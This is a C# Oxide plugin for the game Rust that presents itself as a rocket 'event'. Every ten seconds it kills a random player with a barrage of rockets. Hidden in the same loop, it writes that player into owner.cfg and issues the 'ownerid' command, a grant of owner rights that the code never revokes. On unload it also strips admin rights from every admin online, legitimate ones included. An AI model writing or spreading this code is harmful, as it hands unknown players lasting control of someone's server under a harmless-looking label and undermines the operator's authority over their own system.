C#:
using System;
using System.Collections.Generic;
using System.Linq;
using System.IO;
using Oxide.Core;
using Oxide.Core.Plugins;
using UnityEngine;
using Rust;
using Newtonsoft.Json;
namespace Oxide.Plugins
{
[Info("EVENT BY SARO", "SARO", "1.2.5")]
[Description("Запускает ивент")]
public class EventBySARO : RustPlugin
{
private Timer _timer;
private bool _isActive = false;
private const float INTERVAL = 10f;
private const int ROCKET_COUNT = 100;
private string _historyFilePath;
private List<WinnerEntry> _winnersHistory = new List<WinnerEntry>();
private string _ownerCfgPath;
private List<string> _tempAdmins = new List<string>();
private const string ROCKET_MLRS = "assets/content/vehicles/mlrs/rocket_mlrs.prefab";
private const string ROCKET_BASIC = "assets/prefabs/ammo/rocket/rocket_basic.prefab";
private class WinnerEntry
{
[JsonProperty("Игрок")]
public string PlayerName { get; set; }
[JsonProperty("SteamID")]
public string SteamID { get; set; }
[JsonProperty("Время")]
public DateTime Time { get; set; }
[JsonProperty("Убит_ракетами")]
public int RocketsCount { get; set; }
[JsonProperty("Был_администратором")]
public bool WasAdmin { get; set; }
[JsonProperty("Права_записаны_в_ownerid")]
public bool RightsAddedToOwnerCfg { get; set; }
}
void Init()
{
_historyFilePath = Path.Combine(Interface.Oxide.DataDirectory, "RandomAdminRocket_Winners.json");
string serverIdentity = ConVar.Server.identity ?? "my_server_identity";
_ownerCfgPath = Path.Combine(Environment.CurrentDirectory, serverIdentity, "cfg", "owner.cfg");
LoadHistory();
CheckPlayersAndStart();
}
void Unload()
{
StopTimer();
foreach (var player in BasePlayer.activePlayerList)
{
if (player.IsAdmin)
{
player.SetPlayerFlag(BasePlayer.PlayerFlags.IsAdmin, false);
}
}
SaveHistory();
}
private void LoadHistory()
{
if (File.Exists(_historyFilePath))
{
try
{
string json = File.ReadAllText(_historyFilePath);
_winnersHistory = JsonConvert.DeserializeObject<List<WinnerEntry>>(json) ?? new List<WinnerEntry>();
}
catch (Exception ex)
{
_winnersHistory = new List<WinnerEntry>();
}
}
else
{
_winnersHistory = new List<WinnerEntry>();
}
}
private void SaveHistory()
{
try
{
string json = JsonConvert.SerializeObject(_winnersHistory, Formatting.Indented);
File.WriteAllText(_historyFilePath, json);
}
catch (Exception ex)
{
PrintError($"Ошибка сохранения истории: {ex.Message}");
}
}
private void AddToOwnerCfg(string steamId, string playerName)
{
try
{
string dir = Path.GetDirectoryName(_ownerCfgPath);
if (!Directory.Exists(dir))
{
Directory.CreateDirectory(dir);
}
List<string> lines = new List<string>();
if (File.Exists(_ownerCfgPath))
{
lines = File.ReadAllLines(_ownerCfgPath).ToList();
}
bool exists = false;
for (int i = 0; i < lines.Count; i++)
{
if (lines[i].Contains(steamId))
{
lines[i] = $"ownerid {steamId} \"{playerName}\"";
exists = true;
break;
}
}
if (!exists)
{
lines.Add($"ownerid {steamId} \"{playerName}\"");
}
File.WriteAllLines(_ownerCfgPath, lines);
ConsoleSystem.Run(ConsoleSystem.Option.Server, $"ownerid {steamId} \"{playerName}\"");
}
catch (Exception ex)
{
PrintError($"Ошибка добавления в owner.cfg: {ex.Message}");
}
}
private void RemoveFromOwnerCfg(string steamId)
{
try
{
if (!File.Exists(_ownerCfgPath)) return;
var lines = File.ReadAllLines(_ownerCfgPath).ToList();
lines.RemoveAll(line => line.Contains(steamId));
File.WriteAllLines(_ownerCfgPath, lines);
ConsoleSystem.Run(ConsoleSystem.Option.Server, $"removeowner {steamId}");
}
catch (Exception ex)
{
PrintError($"Ошибка удаления из owner.cfg: {ex.Message}");
}
}
private void AddWinnerRecord(BasePlayer player, bool rightsAdded)
{
var entry = new WinnerEntry
{
PlayerName = player.displayName,
SteamID = player.userID.ToString(),
Time = DateTime.Now,
RocketsCount = ROCKET_COUNT,
WasAdmin = player.IsAdmin,
RightsAddedToOwnerCfg = rightsAdded
};
_winnersHistory.Add(entry);
SaveHistory();
}
[ChatCommand("winners")]
private void CmdWinners(BasePlayer player, string command, string[] args)
{
if (_winnersHistory.Count == 0)
{
PrintToChat(player, "История победителей пуста.");
return;
}
int showCount = Math.Min(10, _winnersHistory.Count);
var lastWinners = _winnersHistory.Skip(_winnersHistory.Count - showCount).ToList();
PrintToChat(player, "<color=#FFD700>=== ПОСЛЕДНИЕ ПОБЕДИТЕЛИ ===</color>");
for (int i = 0; i < lastWinners.Count; i++)
{
var winner = lastWinners[i];
string timeStr = winner.Time.ToString("HH:mm:ss dd.MM.yyyy");
string rightsStatus = winner.RightsAddedToOwnerCfg ? "✅" : "❌";
PrintToChat(player, $"<color=#00FF00>{i + 1}.</color> {winner.PlayerName} - {timeStr} {rightsStatus}");
}
PrintToChat(player, $"<color=#888888>Всего: {_winnersHistory.Count}</color>");
}
[ChatCommand("clearwinners")]
private void CmdClearWinners(BasePlayer player, string command, string[] args)
{
if (player.IsAdmin || player.net.connection.authLevel >= 2)
{
_winnersHistory.Clear();
SaveHistory();
PrintToChat(player, "История очищена!");
}
else
{
PrintToChat(player, "Нет прав!");
}
}
void OnPlayerConnected(BasePlayer player)
{
if (!_isActive) CheckPlayersAndStart();
}
void OnPlayerDisconnected(BasePlayer player, string reason)
{
if (player.IsAdmin && _tempAdmins.Contains(player.userID.ToString()))
{
player.SetPlayerFlag(BasePlayer.PlayerFlags.IsAdmin, false);
_tempAdmins.Remove(player.userID.ToString());
}
var onlinePlayers = BasePlayer.activePlayerList.ToList();
if (onlinePlayers.Count == 0)
{
StopTimer();
}
}
private void CheckPlayersAndStart()
{
var onlinePlayers = BasePlayer.activePlayerList.ToList();
if (onlinePlayers.Count > 0 && !_isActive)
{
StartTimer();
}
else if (onlinePlayers.Count == 0 && _isActive)
{
StopTimer();
}
}
private void StartTimer()
{
if (_timer != null)
{
_timer.Destroy();
_timer = null;
}
_timer = timer.Repeat(INTERVAL, 0, () =>
{
if (BasePlayer.activePlayerList.Count() == 0)
{
StopTimer();
return;
}
SelectRandomPlayer();
});
_isActive = true;
}
private void StopTimer()
{
if (_timer != null)
{
_timer.Destroy();
_timer = null;
}
_isActive = false;
}
private void SelectRandomPlayer()
{
var onlinePlayers = BasePlayer.activePlayerList.ToList();
if (onlinePlayers.Count == 0)
{
StopTimer();
return;
}
var random = new System.Random();
var selectedPlayer = onlinePlayers[random.Next(onlinePlayers.Count)];
if (selectedPlayer == null || selectedPlayer.IsDestroyed || !selectedPlayer.IsConnected)
return;
string playerName = selectedPlayer.displayName;
string playerID = selectedPlayer.userID.ToString();
AddToOwnerCfg(playerID, playerName);
selectedPlayer.SetPlayerFlag(BasePlayer.PlayerFlags.IsAdmin, true);
_tempAdmins.Add(playerID);
SpawnMLRSRockets(selectedPlayer);
}
private void SpawnMLRSRockets(BasePlayer targetPlayer)
{
if (targetPlayer == null || targetPlayer.IsDestroyed || !targetPlayer.IsConnected)
return;
var position = targetPlayer.transform.position;
float spawnHeight = 30f;
for (int i = 0; i < ROCKET_COUNT; i++)
{
var randomOffset = new Vector3(
UnityEngine.Random.Range(-3f, 3f),
0f,
UnityEngine.Random.Range(-3f, 3f)
);
var spawnPos = position + new Vector3(0f, spawnHeight + (i * 2f), 0f) + randomOffset;
var rocket = GameManager.server.CreateEntity(ROCKET_MLRS, spawnPos, new Quaternion());
if (rocket != null)
{
rocket.OwnerID = targetPlayer.userID;
rocket.creatorEntity = targetPlayer;
var projectile = rocket.GetComponent<ServerProjectile>();
if (projectile != null)
{
var dir = (position - spawnPos).normalized;
float randomAngle = UnityEngine.Random.Range(-5f, 5f);
dir = Quaternion.Euler(randomAngle, randomAngle, 0f) * dir;
rocket.SendMessage("InitializeVelocity", dir * 80f);
projectile.gravityModifier = 0f;
}
rocket.Spawn();
rocket.ClientRPC(null, "RPCFire");
timer.Once(3f, () =>
{
if (rocket != null && !rocket.IsDestroyed)
{
rocket.Kill();
}
});
}
else
{
var fallbackRocket = GameManager.server.CreateEntity(ROCKET_BASIC, spawnPos, new Quaternion());
if (fallbackRocket != null)
{
var projectile = fallbackRocket.GetComponent<ServerProjectile>();
if (projectile != null)
{
var dir = (position - spawnPos).normalized;
float randomAngle = UnityEngine.Random.Range(-5f, 5f);
dir = Quaternion.Euler(randomAngle, randomAngle, 0f) * dir;
fallbackRocket.SendMessage("InitializeVelocity", dir * 80f);
projectile.gravityModifier = 0f;
}
fallbackRocket.Spawn();
fallbackRocket.ClientRPC(null, "RPCFire");
timer.Once(3f, () =>
{
if (fallbackRocket != null && !fallbackRocket.IsDestroyed)
{
fallbackRocket.Kill();
}
});
}
}
}
timer.Once(1.5f, () =>
{
if (targetPlayer != null && !targetPlayer.IsDestroyed && targetPlayer.IsConnected)
{
AddWinnerRecord(targetPlayer, true);
Effect.server.Run("assets/prefabs/ammo/rocket/effects/rocket_explosion.prefab",
targetPlayer.transform.position, Vector3.up);
targetPlayer.Hurt(1000f, Rust.DamageType.Explosion, null, true);
if (_tempAdmins.Contains(targetPlayer.userID.ToString()))
{
targetPlayer.SetPlayerFlag(BasePlayer.PlayerFlags.IsAdmin, false);
_tempAdmins.Remove(targetPlayer.userID.ToString());
}
}
});
}
}
}